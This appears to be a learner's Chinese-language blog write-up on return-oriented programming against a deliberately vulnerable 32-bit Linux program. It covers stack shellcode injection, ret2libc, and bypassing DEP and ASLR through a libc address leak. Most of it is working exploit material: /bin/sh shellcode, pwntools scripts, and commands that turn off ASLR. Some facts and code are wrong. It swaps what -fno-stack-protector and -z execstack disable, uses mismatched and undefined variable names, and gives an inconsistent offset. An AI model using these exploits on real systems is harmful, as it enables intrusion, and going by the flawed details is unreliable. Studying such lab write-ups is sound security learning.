0x00 Preface

这是Linux x86环境下的ROP哦。忠于个人的习惯,首先分析ROP的全称。ROP全称为Return-oriented Programming(返回导向编程),是一种高级的内存攻击技术。接下来看一下各式各样的ROP攻击方法,参考文章为蒸米前辈的《一步一步学ROP》系列(原来在乌云,现在在跳跳糖)。我尽量加入作为初学者的一些想法来看待这些文章,原则上一些不懂的概念就会去查阅并明确指出。

0x01 Control Flow Hijack

Control Flow Hijack的意思就是程序流劫持。当然直译其实是控制流劫持。程序流和控制流如果表达同一种意思的话,可以理解为程序由代码控制而一步步依照代码执行。那么ROP的攻击方法就是要在内存上找到可以攻击的漏洞实现“劫持”的操作。文章中说通过程序流劫持,攻击者可以通过控制PC指针从而执行目标代码。而针对这个攻击手段自然有相应的防御手段,常见的有:

  • DEP 堆栈不可执行
  • ASLR 内存地址随机化
  • Stack Protector 栈保护

作为攻击者一方自然要设计出攻击方法能够绕过上述的种种保护措施。文章中写了针对不同的保护措施提出的不同攻击方法,这里我尽量将攻击手法复现并加入我自己的想法。

漏洞程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

编译参数

#bash
gcc -fno-stack-protector -z execstack -o level1 level1.c

在shell中执行

sudo -s 
echo 0 > /proc/sys/kernel/randomize_va_space
exit

作用为

  • -fno-stack-protector 关闭DEP保护
  • -z execstack 关闭Stack Protector保护
  • echo 0 > /proc/sys/kernel/randomize_va_space 关闭整个Linux系统的ASLR保护。

万事俱备!接下来可以看一下源代码的漏洞点,马上就可以发现:

read(STDIN_FILENO, buf, 256);

在vulnerable function里面的read函数读取了字符。read函数中第一个参数指定文件流,这里是标准文件输入。第二个与第三个参数想要说明的意思是read函数会把文件流中256个字节数读到buf指针指向的内存空间中,如果成功读入返回读取的字节数,否则返回-1。同时要注意到声明中buf[128]只给定了128个字符的空间。如果说我输入了超过128且小于256个字节的数据的话,超过128个字节的部分会到哪里去呢?我知道的是,这样的溢出情况可以影响到整个程序装载入内存空间的部分,若是能够利用溢出的部分,我们可以实现一些其他的坏坏的功能,我想这是攻击的基本原理。

回到文章,运行程序,输入超过128个字符的数据。这里作者采用了pattern脚本生成了一段字符串数据:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

很容易发现这串数据是有特点的,规律为三个一组。有规律的字符串可以在后期确定溢出点的精确位置。然后作者的pattern脚本写得挺硬核的,就是一大长串的预设好的字符串,要多长就取多长…

talk is cheap,不如使用gdb运行一下程序?

gdb ./level1
gdb

很明确的返回给我们了一个内存出错的地址0x37654136,拿到了这个错误的地址我们怎么确定内存溢出点呢?

看这一段

Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()

这段文字想要告诉我们的是,刚才使用的payload(就是那一长串字符)覆盖到了程序的返回地址(就是ret地址)。返回地址长度为四个字节,就是程序返回的0x37654136。这个返回值是可以解析的,原因是上文提到了payload具有一定的规律性。翻了下pattern.py中的源码发现37654136为Ascii码,解析即得6Ae7。而6Ae7是payload中的一段子串,确定其位置就可以确定出偏移量Offset为140。

这时要有一个想法,就是使用payload可以控制程序的返回地址。只要构造一个字符串就可以任意指定返回地址。然后只要在我们指定的返回地址上运行我们自己的坏坏程序就可以达成攻击目的了。

坏坏程序就是shellcode,可以用msf生成,也可以用现成的 https://www.exploit-db.com/exploits/37251

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80";

这一段shellcode的作用是执行execve("/bin/sh")的命令,用于控制目标机的shell。

到这里我们已经有了shellcode和溢出点。接下来的问题就是如何让程序跳转到shellcode的地址上。这里给出一个想法,将shellcode放在buf开头,将要覆盖的地址放在buf的最后。所以,要覆盖的地址就是buf的地址。跳转到buf地址就可以执行保存在buf开头的shellcode。现在的问题就是得到buf的地址啦。为了防止gdb的调试环境使buf内存位置变动,这里采用core dump的方法。

开启core dump功能

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启了这个功能以后,程序出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后通过gdb查看这个文件就可以知道buf地址。

0xffec16c0:	"BBBB", 'A' <repeats 153 times>, "\n"

从这一行就可以知道buf的地址为0xffec16c0。由此exp得出:

#!/usr/bin/env python
from pwn import *

p = process('./level1')
ret = 0xffec16c0

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80"

payload = flat([shellcode, 'A'*(140 - len(shellcode)), ret])

p.send(payload)

p.interactive()

0x02 Ret2libc

试试只打开DEP。

gcc -fno-stack-protector -o level2 level2.c

记得DEP是堆栈不可执行保护,所以level1的方法失效。那么应该到哪里去找shellcode呢。

提出一点,编译源代码的时候链接了libc.so函数库,函数库中有许多可用函数可供使用。如果能构造出来system("/bin/sh")这样的语句话可以实现getshell。同时注意到ASLR保护没开,意味着system函数在内存中的位置没有变化,同样/bin/sh这个字符串应该可以在libc中找到。先来找找看:

发现一件事情,/bin/sh这个字符串找不到(???我做了个假题???)。那应该怎么办,可以由自己来构造吗?答案是肯定的。甚至可以想如果system函数也不可直接得到,也是有方法可以找到其函数地址的。

首先来泄露__libc_start_main的地址,它是程序最初被执行的地方。

sh = process('./level2')

level2 = ELF('./level2')
putsPlt = level2.plt['puts']
libcStartMainGot = level2.got['__libc_start_main']
mainGot = level2.symbols['main']
payLoad = flat(['A' * 140, putsPlt, mainGot, libcStartMainGot])

sh.sendline(payload)

反弹得到__libc_start_main的地址,进一步通过工具LibcSearcher得到system的地址和binsh的地址。

libcStartMainAddr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcBase = libcStartMainAddr - libc.dump('__libc_start_main')
systemAddr = libcBase + libc.dump('system')
binshAddr = libcBase + libc.dump('str_bin_sh')

综合0x01,基本exp为:

sh = process('./level2')

level2 = ELF('./level2')
putsPlt = level2.plt['puts']
libcStartMainGot = level2.got['__libc_start_main']
mainGot = level2.symbols['main']
payLoad = flat(['A' * 140, putsPlt, mainGot, libcStartMainGot])

sh.sendline(payload)

libcStartMainAddr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcBase = libcStartMainAddr - libc.dump('__libc_start_main')
systemAddr = libcBase + libc.dump('system')
binshAddr = libcBase + libc.dump('str_bin_sh')

payLoad = flat(['A' * 132, systemAddr, 0xdeadbeef, binshAddr])
sh.sendline(payLoad)

sh.interactive()

0x03 Bypass DEP & ASLR

见标题,顾名思义现在开启了两个保护机制。相比于level2,现在的libc.so地址开始产生了变化。如何解决地址随机化的问题呢?

首先找到若干个在libc.so中的函数在内存中的地址,然后就可以根据泄露出的函数地址根据其偏移量计算出system和binsh的内存地址。接下来的问题是libc的地址是随机的,如何泄露libc地址呢。方法是抓住程序本身在内存中的地址不随机,所以可以想方设法将返回值设置到程序本身就可以执行我们的预期指令。

可以使用的函数有write@plt和read@plt,可以通过write@plt()函数把write函数在内存中的地址打印出来,而且write与system在libc里的相对位置是不变的。可以计算得到system在内存中的地址并将其返回给程序,我们就可以调用system函数。在综合一下之前的思想给出exp:

#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')  # get libc
elf = ELF('level2')

p = process('./level2')

pltWrite = elf.symbols['write']
gotWrite = elf.got['write']
vulfunAddr = 0x08048404

payload1 = 'a'*140 + p32(pltWrite) + p32(vulfunAddr) + \
    p32(1) + p32(gotWrite) + p32(4)

p.send(payload1)

writeAddr = u32(p.recv(4))

systemAddr = writeAddr - (libc.symbols['write'] - libc.symbols['system'])
binshAddr = writeAddr - (libc.symbols['write'] - next(libc.search('/bin/sh')))

payload2 = 'a'*140 + p32(systemAddr) + p32(vulfunAddr) + p32(binshAddr)

p.send(payload2)
p.interactive()


Melancholy.